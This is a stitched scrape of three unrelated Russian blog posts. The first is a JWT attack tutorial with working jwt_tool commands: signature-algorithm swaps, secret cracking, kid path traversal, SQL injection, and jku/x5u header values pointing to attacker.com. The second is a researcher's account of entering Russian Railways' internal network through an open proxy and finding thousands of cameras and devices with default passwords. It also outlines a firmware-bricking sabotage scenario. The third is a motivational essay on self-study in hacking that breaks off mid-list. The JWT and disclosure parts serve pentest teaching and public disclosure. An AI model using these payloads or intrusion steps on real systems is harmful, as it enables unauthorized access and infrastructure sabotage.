// Use Base64-URL algorithm for encoding and concatenate with a dotdata = (base64urlEncode(header) + '.' + base64urlEncode(payload))// Use HS256 algorithm with "SECRET_KEY" string as a secretsignature = HMACSHA256(data , SECRET_KEY)// Complete tokenJWT = data + "." + base64UrlEncode(signature)


Что такое SECRET_KEY?


Как правило, JWT может быть сгенерирован с помощью двух механизмов шифрования, таких как:


  • Симметричное
  • Ассиметричное

Симметричное шифрование:


Этот механизм требует единственного ключа для создания и проверки JWT.


Например, пользователь "Vasya" сгенерировал JWT с h1dd1n_m1ss1g3 в качестве секретного ключа. Любой человек, знающий этот ключ, может с его помощью изменить токен. JWT при этом останется действительным.


Самый распространенный алгоритм для этого типа HS256.


Асимметричное шифрование:


Этот механизм требует открытого ключа для проверки и закрытого ключа для подписи.


Например, если "Vasya" использовал это шифрование, то он единственный, кто может создать новый токен, используя закрытый ключ, тогда как "Petya" может только проверить токен с помощью открытого ключа, но не может его изменить.


Наиболее распространенный алгоритм для этого типа RS256.



Атаки на JWT


Чтобы подделать токен, необходимо иметь правильные ключи (например, секретный ключ для HS256, открытый и закрытый ключи для RS256), но если конфигурация JWT не реализована правильно, то есть много способов обойти элементы управления, которые позволяют изменить токен и получить несанкционированный доступ.


Базовые атаки


Для выполнения всех этих атак нам понадобиться JWT_Tool


1. Нет алгоритма


Если приложению не удается проверить значение заголовка alg, то мы можем изменить его значение на none, и таким образом оно исключает необходимость действительной подписи для проверки. Например:


// Modified Header of JWT after changing the "alg" parameter{  "alg": "none",  "typ": "JWT"}

Команда:


python3 jwt_tool.py <JWT> -X a


Здесь jwt_tool создал различные полезные нагрузки для использования этой уязвимости и обхода всех ограничений, пропустив раздел Подпись.


2. Изменяем алгоритм с RS256 на HS256


Как было сказано выше, алгоритму RS256 нужен закрытый ключ для подделки данных и соответствующий открытый ключ для проверки подлинности подписи. Но если мы сможем изменить алгоритм подписи с RS256 на HS256, мы заставим приложение использовать только один ключ для выполнения обеих задач, что является нормальным поведением алгоритма HMAC.


Таким образом рабочий процесс будет преобразован из асимметричного в симметричное шифрование. Теперь мы можем подписывать новые токены тем же открытым ключом.


Команда:


python3 jwt_tool.py <JWT> -S hs256 -k public.pem

В данном случае мы сначала загружаем открытый ключ (public.pem) из приложения, а затем подписываем токен с помощью алгоритма HS256, используя этот ключ. Таким образом, мы можем создавать новые токены и вставлять полезную нагрузку в любое существующее утверждение.


3. Без проверки подписи


Иногда при фаззинге данных в разделе заголовка и полезной нагрузки приложение не возвращает ошибку. Это значит, что подпись не проверяется после того, как она была подписана сервером авторизации. Таким образом, мы можем вставить любую полезную нагрузку в заявку, а токен всегда будет действительным.


Команда:


python3 jwt_tool.py <JWT> -I -pc name -pv admin

Здесь часть подписи не проверяется, а значит можно смягчить утверждение имени в разделе полезной нагрузки, сделав себя администратором.


4. Взлом секретного ключа


Мы можем получить доступ к файлу SECRET_KEY с помощью уязвимостей, таких как


  • LFI
  • XXE
  • SSRF

Если это невозможно, то все равно можно провести другие атаки, чтобы проверить, использует ли токен какую-либо слабую секретную строку для шифрования.


Для этой цели можно использовать расширение BurpSuite под названием JWT Heartbreaker.


Такое раскрытие поставит под угрозу весь механизм безопасности, поскольку теперь мы можем генерировать произвольные токены с секретным ключом.


Но чтобы убедиться, что полученная нами строка является действительным ключом SECRET_KEY или нет? Мы можем использовать функцию Crack в jwt_tool.


Команда:


python3 jwt_tool.py <JWT> -C -d secrets.txt // Use -p flag for a string


5. Использование произвольных файлов для проверки


Key ID (kid) это необязательный заголовок, имеющий строковый тип, который используется для обозначения конкретного ключа, присутствующего в файловой системе или базе данных, а затем использования его содержимого для проверки подписи. Этот параметр полезен, если приложение имеет несколько ключей для подписи токенов, но может быть опасным, если он является инъекционным, поскольку в этом случае злоумышленник может указать на конкретный файл, содержимое которого предсказуемо.


Например, /dev/null называется нулевым файлом устройства и всегда ничего не возвращает, поэтому он отлично работает в системах на основе Unix.


Команда:


python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

В качестве альтернативы можно использовать любой файл, присутствующий в корневом веб-каталоге, например, CSS или JS. Также можно использовать его содержимое для проверки подписи.


Другое решение проблемы:


python3 jwt_tool.py -I -hc kid -hv "путь / к / файлу" -S hs256 -p "Содержимое файла"

Продвинутые атаки:


1. SQL-инъекция


Эта уязвимость может возникнуть, если любой параметр, который извлекает какое-либо значение из базы данных, не очищается должным образом. Благодаря чему можно решать CTF задачи.


Например, если приложение использует алгоритм RS256, но открытый ключ виден в заявлении pk в разделе Payload, тогда можно преобразовать алгоритм подписи в HS256 и создавать новые токены.


Команда для подсчета количества столбцов:


python3 jwt_tool.py <JWT> -I -pc name -pv "imparable' ORDER BY 1--" -S hs256 -k public.pem// Increment the value by 1 until an error will occur

2. Параметр поддельного заголовка


JSON Web Key Set (JWKS) это набор открытых ключей, которые используются для проверки токена. Вот пример:



Этот файл хранится на доверенном сервере, приложение может указывать на этот файл через параметры заголовка:


  • jku
  • x5u

Но мы можем управлять URL-адресом с помощью таких уловок, как:


  • открытый редирект
  • добавление символа @ после имени хоста и т. д.

Затем мы можем перенаправить Приложение на наш вредоносный сервер вместо доверенного сервера и генерировать новые токены, так как мы контролируем как открытые, так и закрытые ключи.


JSON Set URL (jku):


Этот параметр указывает на набор открытых ключей в формате JSON (атрибуты n и e в JWKS), а jwt_tool автоматически создает файл JWKS с именем jwttool_custom_jwks.json для этой атаки при первом запуске инструмента после установки.


Команда:


python3 jwt_tool.py <JWT> -X s -ju "https://attacker.com/jwttool_custom_jwks.json"

X.509 URL (x5u):


Этот параметр указывает на сертификат открытого ключа X.509 или цепочку сертификатов (атрибут x5c в JWKS). Вы можете сгенерировать этот сертификат с соответствующим закрытым ключом следующим образом:


openssl req -newkey rsa:2048 -nodes -keyout private.pem -x509 -days 365 -out attacker.crt -subj "/C=AU/L=Brisbane/O=CompanyName/CN=pentester"

Здесь с использованием OpenSSL сертификат был создан в attacker.crt, который теперь может быть встроен в файл JWKS с атрибутом x5c, а его эксплуатация может осуществляться следующим образом:


python3 jwt_tool.py <JWT> -S rs256 -pr private.pem -I -hc x5u -hv "https://attacker.com/custom_x5u.json"

Встроенные открытые ключи:


Если сервер встраивает открытые ключи непосредственно в токен с помощью параметров jwk (JSON Web Key) или x5c (цепочка сертификатов X.509), попробуйте заменить их своими собственными открытыми ключами и подписать токен соответствующим закрытым ключом.


3. Внедрение заголовка ответа HTTP


Предположим, что если приложение ограничивает любой управляемый URL-адрес в параметрах jku или x5c, тогда мы можем использовать уязвимость внедрения заголовка ответа, чтобы добавить встроенный JWKS в ответ HTTP и заставить приложение использовать это для проверки подписи.


4. Прочие уязвимости


Веб-токены JSON это еще одна форма пользовательского ввода, все параметры в которой должны быть очищены должным образом, иначе это может привести к уязвимостям, таким как:


  • LFI
  • RCE и другим.

Но это не означает, что приложение по-прежнему безопасно, ведь, если злоумышленник не может подделать JWT, он попытается украсть их с помощью неправильной конфигурации:


  • XSS
  • CSRF
  • CORS и т. д.

Удачных пентестов!


image

Подробнее..

Самый беззащитный уже не Сапсан. Всё оказалось куда хуже

13.01.2021 10:12:44 | Автор: admin
Больше года назад хабравчанин keklick1337 опубликовал свой единственный пост Самый беззащитный это Сапсан в котором рассказывает как он без серьёзных ухищрений получил доступ ко внутренней сети РЖД через WiFi Сапсана.

В ОАО РЖДпрокомментировали результатыэтого расследования. Есть результаты проверки. Почему удалось взломать? Наверное, потому, что злоумышленник. Наверное, из-за этого Ну, он из фана. Юный натуралист. Там уязвимостей, которые бы влияли на утечку каких-то критических данных, нет. Мультимедийный портал Сапсанов функционирует как положено и не нуждается в доработке, заявил Евгений Чаркин.

То есть вместо того, чтобы выразить благодарность за обнаруженную уязвимость, автора обозвали злоумышленником и Юным натуралистом.

К сожалению, но специалисты РЖД, начиная с директора по информационным технологиям, отнеслись к статье очень пренебрежительно, проигнорировав важное указание автора:
Также оттуда в сеть РЖД есть впн. Если захотите найдёте её там сами.

И вот, год спустя я попал в сеть РЖД даже не садясь в Сапсан.


Видимо, только этот котэ добросовестно охраняет вокзал.

Как именно я попал в сеть РЖД с пруфами, чего не сделал директор по информационным технологиям ОАО РЖД Чаркин Евгений Игоревич и возможные последствия под катом.

Всё началось с гипотезы


В интернете очень много бесплатных прокси-серверов. Но кто в здравом уме будет открывать всем желающим выход в интернет через свой роутер? Вариантов по большому счету два: это либо взломанные устройства, либо владелец забыл отключить эту функцию.

Таким образом меня посетила идея проверить гипотезу: Есть ли жизнь за прокси?

Я запустил nmap по диапазону адресов по порту 8080. Далее из полученного результата прошёлся прокси-чеккером в поисках публичного прокси без авторизации и из положительных результатов выбрал самый близкий ко мне по пингу.

Запустил сканер через него по адресам 172.16.0.0/12 порт 8291 (mikrotik winbox). И! Я его нашёл! Без пароля!



То есть за роутером с прокси есть ещё один Mikrotik без пароля. Гипотеза подтверждена: за прокси могут быть целые незащищённые сети.

Только на тот момент я недооценивал масштаб незащищённости, который я случайно нашёл.

В поисках Немо владельца системы


Так как я придерживаюсь принципов Grey hat (Обо мне mysterious Russian-speaking grey-hat hacker Alexey и статья на Хабре) и съел собаку на безопасности Mikrotik, то я принялся искать владельца системы, чтобы связаться с ним.

Кстати, заходите в Телеграм чат RouterOS Security t.me/router_os

Недолго думая я поднял исходящий VPN до себя. Всё же комфортней через нормальный туннель дальше изучать сеть и искать признаки владельца системы. HTTP connect ещё тот геморрой

За интерфейсами ether1 и bridge ничего интересного не обнаружил. Найденные камеры были абсолютно не информативными.



А вот сканирование vpn, отмеченные красным на скрине выше, выдало более 20 000 устройств
Причём более 1000 штук микротики. Огромное количество устройств с заводскими паролями.

Вот некоторые из найденных сервисов с паролями по умолчанию:

1. Камеры наружного наблюдения подавляющее большинство.



Ещё камеры






Даже офисы внутри



Камер, по скромным ощущениям, не менее 10 000 штук. Производители разные: beward, axis, panasonic и т.д.

2. Ip-телефоны и FreePBX сервера также большое количество.




3. IPMI серверов:

Asus

Dell (их подавляющее большинство)


Supermicro

Из серверов виртуализации встречаются ESXi, Proxmox и oVirt



Много узлов кластера Proxmox (по поднятым сервисам и трафиком между ними.)

4. Преобразователи ethernet во 'что угодно' (Moxa UniPing etc)


5. Системы управления ИБП



6. Внутренние сервисы





Что-то похожее на мониторинг состояния систем обеспечения здания.


Система управления кондиционированием и вентиляцией


Различные системы управления табло на перронах :-)

Эта самая красивая


Некий терминал, но внутри модифицированный дебиан.

Таких нашёл около 20


Кстати, аптайм у него почти год:




6. Сетевое оборудование



Разумеется, много различных роутеров. Как уже сказано выше, мне больше интересны Микротики. Подавляющее большинство с последней прошивкой и пароли не пустые. Но есть без паролей и с устаревшими прошивками.

Туннели наружу подымаются легко. То есть фильтрации исходящих коннектов практически нет.
Более того огромное количество микротиков со включенным прокси, аналогично тому, при помощи которого я и попал в эту сеть Кстати, туннели через них тоже замечательно подымаются.

Не полный кусок лога по прокси.



Такое ощущение, что интегратор, который строил сеть, специально оставил этот доступ.

И все же кто же хозяин?


Думаю, что уже все и так догадались.

Это я пробежался по верхушкам в рандомном порядке. Потратил я на это чуть больше 20 минут, чем автор статьи про Сапсан.

Это здец. Сеть просто в решето.

Причём это устройства по всей РФ.

Например, вот это вокзал Уфы

Антропово Костромской области


Развёрнута профессиональная система видеонаблюдения.

Нашёл презентацию по вокзалам.

macroscop


Находил Кемерово, Новосибирск, Омск и т.д. По внешнему виду вокзалы сложно определить. К тому же я поездом уже лет 5 не ездил.

Как же так получилось?


Я всегда считал, что уязвимости в корпоративных сетях появляются из-за ошибок или специальных действий безграмотных сотрудников. Первое что пришло мне в голову это некий сотрудник по разрешению СБ поднял у себя из дома VPN до рабочей сети на микротике в своей домашней сети. Но в данном случае эта моя гипотеза разбилась как только я увидел обратный резолв адреса через который я попал на этот Микротик.



То есть это один из шлюзов в мир из сети РЖД. Ну и в сеть РЖД тоже

Получилась вот такая картина:

  1. Вероятно, что это один из офисов РЖД, который прилинкован к основой сети через l2tp.
  2. Я попадаю в сеть где межсетевые экраны отсутствуют как класс.
  3. Запускаю интенсивное сканирование хостов у меня соединение не рвётся. Значит о системах обнаружения вторжения (IDS/IPS) РЖД тоже ничего не слышал. Микротик может замечательно интегрироваться, например Suricata
  4. Обнаружил кучу устройств без защиты. Это говорит, что службы сетевой безопасности в РЖД так же нет.
  5. Много устройств с дефолтными паролями. То есть политики паролей тоже нет.
  6. С Микротиков внутри сети я легко поднял туннели. То есть исходящий трафик не контролируется.
  7. Я вижу все интерфейсы управления в одной сети с клиентскими сервисами. Админы РЖД ничего не знают о Management VLAN

Российские железные дороги провели проверку после взлома мультимедийной системы поезда Сапсан одним из пассажиров, критических уязвимостей не обнаружено.

Так дайте ответ, Евгений Игоревич, какой Юный натуралист проводил расследование и не заметил гнездо со слонами?



У меня лично есть всего три варианта ответа на этот вопрос:

1. У Вас исходно плохая команда.

Проверку проводил тот же отдел, который и проектировал/обслуживает систему. Отрицая проблему, они или сохраняют свою работу, или преследуют иные цели.



2. Вы доверились не тому специалисту. Аудит проводил некомпетентный сотрудник.



3. Вы и так знаете о проблеме, но по каким-то неведомым причинам не можете ее публично признать и решить.



Стоимость уязвимости


Что есть защищенная система? Защищенная система это та система, взлом которой стоит дороже, чем ценность информации, которая там есть. Вот и все, подытожил директор по информационным технологиям ОАО РЖД.

Предлагаю применить Вашу систему оценки в теории на примере системы видеонаблюдения РЖД.

Чтобы вывести камеры из строя так, чтобы их могли восстановить только специалисты вендора, достаточно залить прошивку с заблокированным сетевым интерфейсом.

Рандомно выбранная из списка установленных модель стоит ~13к рублей.



А закупки по 44-ФЗ отличаются, как непредсказуемой конечной стоимостью, так и временем проведения самой процедуры и получения продукта. Я потратил 8 часов для сбора информации для этой статьи. Найдено ~10к камер. Производителей камер, которые установлены, немного максимум штук 10.

Гипотетическому злоумышленнику потребуется:

  1. Модифицировать прошивки, заблокировав сетевой порт на 10 прошивках. Думаю, что на это у специалиста уйдёт три рабочих дня;
  2. ННаписать сканер, который будет анализировать устройство и заливать соответствующую прошивку. Заложим ещё 2 дня;
  3. Запустить этот сканер-прошивальщик, чтобы не смогли найти источник и заблокировать часа два.

Таким образом за неделю работы специалиста по взлому РЖД потеряет минимум 130 миллионов рублей. Отсюда стоимость одного часа работы злоумышленника будет равна ~2,5 млн. рублей.

Двигаемся дальше.

Быстро заменить камеры на работающие РЖД не сможет. В резерве столько нет. Купить новые из-за обязанности объявления торгов так же не получится. Таким образом вся железная дорога будет без видеонаблюдения не меньше месяца.

А вот это уже опасность террористической угрозы. Чтобы её хоть как-то снизить потребуется на 10 тысячах объектов существенно усилить охрану. То есть даже на маленькую ж.д. станцию потребуется дополнительно 6 человек охраны

Кажется счёт уже уходит за миллиарды

Что нужно изменить, чтобы снизить вероятность возможных последствий?


Далее чисто мой взгляд на решение данной ситуации. Он ничего общего не имеет с мировыми best practices.

Так же, сразу оговорюсь, что проблема касается только обнаруженной мною сети видеонаблюдения. В других сегментах сети РЖД, очень надеюсь, всё намного лучше.

1. Нанять сетевых аудиторов, которые помогут найти и закрыть самые зияющие дыры.

2. Нанять крутых системных архитекторов, которые имеют богатый опыт построения больших сетей. И не факт, что это будут российские специалисты. Перед ними поставить следующие задачи:

2.1. доработать текущую инфраструктуру до безопасного состояния за минимальные средства (зачем вкладывать много денег в проект, который скоро разберут)

2.2. разработать новую полноценную инфраструктуру, отвечающую всем требованиям безопасности и план поэтапной миграции.

3. Нанять подрядчика, который будет реализовывать в жизни данные проекты и передавать на эксплуатацию сетевикам РЖД.

4. После сдачи проектов провести аудит безопасности инфраструктуры.

5. По окончанию пентестов своими силами объявить Bug Bounty

Чтобы мотивировать аудиторов и внутренних специалистов работать качественно, надо объявить лимит на количество и серьёзность уязвимостей, которые могу найти участники программы Bug Bounty. Если внешние специалисты найдут багов меньше лимита, то свои аудиторы получают премии. Если багов будет больше лимита, то штрафовать.

В дальнейшем службу внутреннего аудита информационной безопасности оставить на постоянку и премии формировать уже на основании обнаруженных багов и их устранении.

Разумеется, что схема имеет огромное количество подводных камней, которые за время написания статьи предусмотреть не возможно.

Заключение


Я не единственный кто нашёл данные уязвимости. Очень много признаков, что в этой сети кто-то живёт.

Например, вот эти линки я уже встречал не раз на роутерах, никак не относящихся к РЖД.



Все информационные системы уязвимы априори. Когда их вскроют зависит от интереса злоумышленников к ним, беспечности создателя и времени, которое они на это потратят.
Основой основ безопасности является ограничение доступа к системам при несанкционированном проникновении в одно устройство.

В случае с Сапасаном, чтобы через полученный VPN доступ можно было увидеть только один сервис с которым взаимодействует пользователь системы, а не всю сеть РЖД

Я старался достаточно жирно намекнуть на узкие места не раскрывая деталей и надеюсь, что специалисты РЖД их всё же увидят.

Связаться со мной можно через телеграм t.me/monoceros
Обсудить данную статью приглашаю в профильный чат по Микротикам в Телеграм RouterOS Security: t.me/router_os

Кстати, Евгений Игоревич, с повышением!



Источник

Подробнее..

Мама, я хакер. Или как, где и чем я пользуюсь для того чтобы им стать сегодня

22.01.2021 16:14:24 | Автор: admin

Начало

Здравствуй, читатель.

Это моя первая статья на данном ресурсе и надеюсь она будет полезной для всех ребят, которые задались вопросами и целью - "Как мне стать хакером?", "Как мне самостоятельно учиться и где это делать?", "С чего начать свой путь?", "Где мне найти нужную информацию и вообще как её искать по тематике хакинга?".

На все эти вопросы и парочку других я постараюсь сегодня ответить в своей первой статье.
А также немного познакомить вас со своим путём становления, не постесняюсь этого бранного слова, хакером.

А так, как с размерами моего эго, может потягаться только сверх-массивная черная дыра в кластере супергалактик - то я постараюсь сделать эту статью/гайд/обзор - максимально объемным и полезным для новичков любого уровня, чтобы он стал ЛЕГЕНДАРНМ и на него все ссылались отныне и вовеки веков.

Ремарка - все указанные ссылки не имеют никакого рекламного подтекста.
Я никак не связан и не рекламирую ничей продукт, ссылки на которые будут представлены в этой статье.

Немного обо мне

Прежде, чем бежать и жадно изучать ресурсы, которые я подготовил, потратив кучу времени, сил и нервов своего бренного тела, я подумал, что было бы полезно поделиться с вами тем, кто я такой и почему вообще я этим занимаюсь. (но если тебе не терпится, скорей листай вниз, там куча полезностей и ссылок).

Меня зовут Ричард, на просторах интернета меня никто, нигде и никогда не знал ни под какими именами, потому что я, собственно говоря, никогда, нигде и не светился.

В прошлом году, в моём дурном мозге в очередной раз, родилась очередная дикая мысль и связана она была с тем, чтобы слепить из себя профессионального хакера и в целом спеца в сфере информационной безопасности.

А так как по образованию я являюсь "специалистом по организации и технологиям защиты информации", но никогда не работал (на момент написания статьи) и дня по-своему профильному образованию, то мне показалось это втройне ироничным - что спустя долгие годы, популярного как сегодня говорят, "поиска себя и своего предназначения", начиная от помощника кондитера в сша будучи оголтелым студентом, до, спустя многие годы, организатора фестиваля по паркуру будучи уже взрослым парнем аспирантом физ.мата - я вернулся к тому, с чего начинал.

Посему, поделиться такой ироничной и, возможно, в каком-то будущем, даже интересной историей обязан, особенно если она кому-то, да поможет однажды.

На большее я и не могу надеяться.

Так как за годы проб, придумывания отговорок, причин и метаний (что собственно говоря типично для ребят моего поколения) в стиле - "Что же мне стоит делать?", "Куда лежит душа?", "Это не интересно", "Здесь скучно", "Тут тупо", "Здесь вообще меня воротит от сферы деятельности", "Да ну не, может мне бросить всё и стать мотогонщиком ралли гонок ДАКАР?", "Не, может лучше мне поступить в MIT и заняться роботехникой?", "Или может быть я просто ленивый и бесконечно прокрастинирующий фантазёр, и буду всю жизнь работать посредственным специалистом в какой-нибудь конторке?". Или просто потому что я никак не мог перестать лениться и избегать той работы, которая мне сразу оказалась не по душе. Даже если мне нечего есть и моё обыденное существование подвергается опасности, я всё равно буду продолжать это делать. Такой вот я упёртый/глупый/самонадеянный/сверх меры самоуверенный в себе баран.

Но, в итоге, остановился я твёрдо и уверенно на теме хакинга.

Это оказалась та бесконечно-фрактальная тема и область, где моё нескончаемое любопытство (а проще говоря ОКР и желание быть готовым ко всему, всегда, везде), а также вечное стремление узнавать новое, неспособность сидеть долго на уже досконально изученном до дыр месте, и желание применять полученные знания на высоком уровне скилла на практике - наконец-то гармонично собрались, как будто так и надо было, в единую картину - "это то что надо, чувак, давай обоснуемся пока в этих чертогах." - вещал я себе сам, радуясь как ребёнок, думая что мои потуги наконец-то подходят к концу (ага, щас).

И, так как по натуре уродился таким человеком, который любит и верит в то, что если помогать своему окружению, то все будут от этого в плюсе и мы будем расти вместе с окружением быстрее, лучше, сильнее - я решил что мне стоит попробовать свои силы в том, чтобы делиться своими похождениями и ресурсами которыми я пользуюсь по ходу своих похождений с другими людьми.

Итак, после нудного и не особо полезного вступления, начнём.

Процесс обучения

Прежде чем я перейду к самой простой части - перечислению ресурсов и того, что вы можете из них получить и найти - считаю святой обязанностью поделиться своим взглядом на основы и процесс обучения, который стоит применять не только к теме хакинга, но и к ежедневным задачам, которые падают на каждого из нас, вне зависимости от образа мышления, языка на котором мыслим, спектра эмоций и мировоззрения.

Мне хотелось бы разделить условно процесс самообразования/самообучения на 2 важных составляющих.

И это:


1) Парадигма обучения, которой вы придерживаетесь (как вы смотрите на вещи вокруг вас, на себя, на людей, находите мотивацию, поддерживаете интерес, справляетесь со стрессом и проблемами, позволяете влиять на вас другим людям и многое-многое другое, ну или не/нет - ко всему ранее перечисленному в скобках).

2) Обладать навыком поиска нужной информации ( это значит уметь искать быстро (потому что ваше время - это ограниченный и самый ценный ресурс который есть у каждого из нас), это значит знать где искать, чем искать, грамотно фильтровать и после, и самое важное - грамотно её структурировать/каталогизировать, хранить, дополнять и после удобно использовать).
Особенно если мы говорим про хакеров, для которых навык OSINT'a (Open source intelligence - разведка из открытых источников) - является одним из самых crucial умений в списке профессиональных умений.

В этом году будет только 30 раз, как мне удалось облететь вокруг Солнца, стоя, лежа, сидя на этой планете.

Но даже за это, не столь значительное, время я обрел уйму различного опыта и знаний касательно процесса обучения - начиная от паркура и езды на мотоцикле, заканчивая поиском первой уязвимости и могу сказать, что везде присутствуют одни и те же паттерны обучения, придерживаясь которых можно достичь успехов и поставленных целей.

Я хотел бы подытожить описанное выше следующим образом (сразу прошу учесть, это сугубо субъективный опыт моей жизни, я не претендую на звание преподавателя и тем более ментора, мне бы себе найти оного, но я всегда оспаривал современные методы школьного/университетского обучения в силу их кусочности, грубости, ригидности и как следствие ущербности, посему я буду описывать своё видение)

Я разделю ниже указанные области на аспекты. Так должно быть проще и понятней.

  • Аспект 1.

    Правильно формулируйте и задавайте вопросы.

    Изучение любой темы, будь это поиск уязвимостей XSS, осваивание основных инструментов для проведения пентеста, вождение мотоцикла или как выполнять правильно болевой приём Гяку-Удэ-Гарами - должно начинаться с двух вопросов.

    1) Что я уже знаю об этом?

    2) Чего я ещё не знаю про это?

    Это можно описать так.
    Представьте себе что вы стоите на горе и перед вами внизу лес, вам нужно попасть на другую гору, которую вы видите перед собой, но между вам как раз таки расположен тот самый густой, очень тёмный, непроглядный лес.

    Если вы запомните примерное расположение горы и спуститесь в лес не подготовившись, поспешив и понадеявшись исключительно только на вашу память и первоначальный интерес и мотивацию, начав ваш поход ко второй горе - вы несомненно рано или поздно, но ошибетесь, затем заблудитесь, и как итог сдадитесь обнаружив себя посреди чащи густого незнакомого леса.

    Но если же вы, стоя на верхушке первой горы нарисуете себе примерную карту на первой попавшейся бумажке того, как вам попасть на вторую гору и приблизительный путь как добраться до неё - вы никогда не собьетесь со своего пути, потому что с верхушки первой горы вы успели заметить, что в середине леса, оказывается есть огромный дуб, у которого сломана верхушка кроны и пробивается яркий луч внутрь чащи , а вон там протекает ручей, а вот тут груда камней и небольшая скала и это можно использовать как ориентир.
    И тем самым, когда вы спуститесь в лес и начнете свой поход - вы будете отслеживать свой прогресс и пройденный путь - всегда сможете вернуться и понять, где вы ошиблись и выбрали не верный путь, что послужило причиной ошибки и насколько вы отклонились от своей цели.

    Таким образом вы создаете себе мини-помощника на бумажке - структуру - это может быть структурированный список или крякозябры нарисованные от руки или что угодно - но то, что понятно вам и не забудется спустя день, неделю, месяц. Это также может быть ваша уникальная система понятная только вам, экспериментируйте! Здесь нет единственного правильного ответа

    Таким образом вы обхватываете сразу две основных области в ваших головушках и разом убиваете двух зайцев

    Вы проходите один из самых важных этапов в процессе обучения - формированию структуры.

    Вы можете не знать вообще ничего, знать частично об этом (услышав от друзей, увидев рекламу на ютубе или ролик в рекомендациях) или быть экспертом в этой области, но благодаря этим двум основным вопросам вы уже начинаете формировать в голове общий образ того, что и как вы будете запоминать о той или иной вещи.

    Вы формируете входные точки для того, чтобы в скором времени перейти к второму важному этапу и это - поиск. Когда вы осознаете, что слово "кимура" для вас пустой звук - то самым первым делом вы, как и любой живой человек на этой земле, в голове обратитесь к инструментам которые позволят получить любую информацию о неизвестном - сначала в долговременную память, а потом вы полезете в поисковик и сразу же узнаете что это довольно популярная японская фамилия, а прокрутив первую страницу с результатами поиска, узнаете также что это болевой прием, названный в честь одного именитого борца, который собственно говоря и придумал его.

    На данном этапе, если вы сумеете выстроить в голове ретроспективную линию и взглянуть на себя то вы осознаете, что пару минут назад, вы ничего не знали ни о том, что находится в лесу, что такое кимура, таких знаний попросту не было в вашей голове.
    Но если вы будете придерживаться четкой структуры в процессе изучения чего-либо - то мозгу проще и гармоничней будет запоминать и выстраивать ассоциативные связи благодаря этому.

    Вы скажете, хорошо Ричард, это всё круто и здорово, но знать что-то не равно уметь делать это, да к тому же на профессиональном уровне.

    И будете абсолютно правы.

    Ведь практический опыт и теория неразрывно связаны.

    А точнее практика это ваша теория, которая обрела физическую форму на бумаге, в ваших действиях и словах.

    И тут стоит перейти к второму важному аспекту.

  • Аспект 2.
    Ошибайтесь.

    Нет ни одного человека на этой планете, который бы жил, живёт и будет жить - и который бы не ошибался ни разу в своей жизни.

    Быть хакером - значит обладать огромным запасом разношерстных, порой несвязанных друг с другом знаний из разных областей и умений - и как итог уметь их применять вкупе в нужное время, в нужном месте и получать результат высокого качества/уровня.

    А подобный уровень недостижим, если вы не позволите себе ошибаться по ходу процесса обучения.
    Сегодняшняя культура нашего социума и цивилизации в котором мы с вами живём - всё также инфантильна и скоропалительна, а также нетерпима к изменениям и самоанализу своих ошибок.

    А посему проще заклеймить и предать стигматизму ошибки и процесс их появления в наших жизнях, нежели принять их и сделать неотъемлемой частью наших жизней.

    Ошибки это больно, неприятно, затратно по ресурсам (физическим, психическим, временным) - поэтому это естественно что наши мозги (то бишь мы) - хотим минимизировать подобный опыт и свести его желательно к нулю.

    НО

    Для прогресса это делать запрещено.

    Ни у кого из нас нет доступа к шару с предсказаниями и тому, что будет с нами в будущем.
    А потому никто не может знать, принесет ли мне занятие хакингом истинное удовольствие в жизни, стану ли я топ-10 на hackerone и заработаю милльоны-милльонов долларов на этом? (спойлер - если вы решили заниматься хакингом исключительно ради денег можете закрыть эту статью и забыть обо всём что прочитали как страшный сон, эта сфера точно не для вас просто потому что вы быстро выгорите и вам быстро надоест), стоит ли мне записаться на курсы? Или заниматься самому? Читать мне эту книгу или вот эту?

    До тех пор пока вам приносит это удовольствие и делает счастливым - продолжайте это делать и старайтесь делать это отлично, будьте честны с собой и результатами которые показываете, будьте достаточно строгими к себе и требовательными, но и умейте хвалить себя за проделанную работу и награждать (это важно для того, чтобы быть успешным и закреплять в себе правильные паттерны и пути мышления) и самое главное вовремя и качественно отдыхать (это тоже навык, которому надо учиться и увы не все умеют это делать).

    Я хочу чтобы вы вспомнили себя детьми или те у кого есть дети и они сейчас учатся ходить.
    Если посмотреть на детей и их многочисленные попытки научиться ходить - вы не увидите ни одного ребёнка, который после пары падений на зад, сядет, закинет ногу на ногу и смачно посасывая соску аки заправскую сигару скажет "знаешь, пожалуй мне стоит записаться на курсы по ходьбе, я не справлюсь с этим никогда сам, пожалуй это не моё, я не достаточно для этого подготовлен, вон Света ходила на курсы и её там научили ходить за неделю, представляешь?"

    На данном изображении приведен пример того как происходит выход из зоны комфорта и постепенный переход в зону роста, через зону страха и обучения с попутными состояниями в каждой зоне.

    Всё что вы увидите - это нескончаемые падения и вставания после падений. 0 оправданий, 0 поиска причин почему не удалось и самокопания в себе. Это лишь чистые, честные постоянные попытки в которые дети вкладывают все свои усилия, навыки и знания.
    До тех пор пока не будет достигнут единственный верный результат - уметь ходить как все.

    И мне хотелось бы чтобы такой менталитет и такое отношение к своим занятиям, ошибкам и сложностям которые вас поджидают вы закрепили у себя в головах.
    Не важно что вы делаете, учитесь готовить, крутить заднее сальто, приседать со штангой или пытаетесь научиться эксплуатировать SQL-инъекции - если вам это дорого, вы любите это и вам интересно - отриньте мысли о неудаче и то, что у вас что-то может не получиться. И тогда ничто не будет вам мешать, всё время и возможности которые есть у вас, откроются у вас перед глазами, останется только взять и пользоваться ими.

    Проблема это лишь эмоциональное состояние. Без эмоций - это просто ситуация.

    Задачи не должны быть слишком простыми, иначе ты потеряешь интерес.
    Задачи не должны быть слишком сложными, иначе ты просто уйдешь в отказ.

    Баланс доступности задачи и её сложности - сохраняет живость и интерес к ней.

    Можно прибегнуть к разным подходам, таким как Закон Парето или нагуглить кучу разных видео с Ted talks, или вот такую диаграмму в виде пирамиды,, или очередное мотивирующее видео - суть остается одна и та же.

    Мы люди, основным интерфейсом которым мы контактируем с внешним миром всё также остается наше тело, наше тело имеет свойство реагировать на разные раздражители по разному и из этого формировать симбиоз чувств+эмоций, исходя из этого мы принимаем те или иные решения в своей жизни, которые приводят нас или уводят нас от того, чего мы действительно желаем.

    Посему закон простой - пойми как устроен и функционируешь ты - поймешь как можно контролировать себя - поймешь что можно делать со своей жизнью.

    В этом вся суть хакинга.

    Изучить неизвестное, разобрать на компоненты, изучить детально компонент, собрать и посмотреть как работает вся система или части системы - научиться управлять этим так, как хочешь ты, а не так как есть по дефолту.

  • Аспект 3.

    Выгорание и фрустрация.

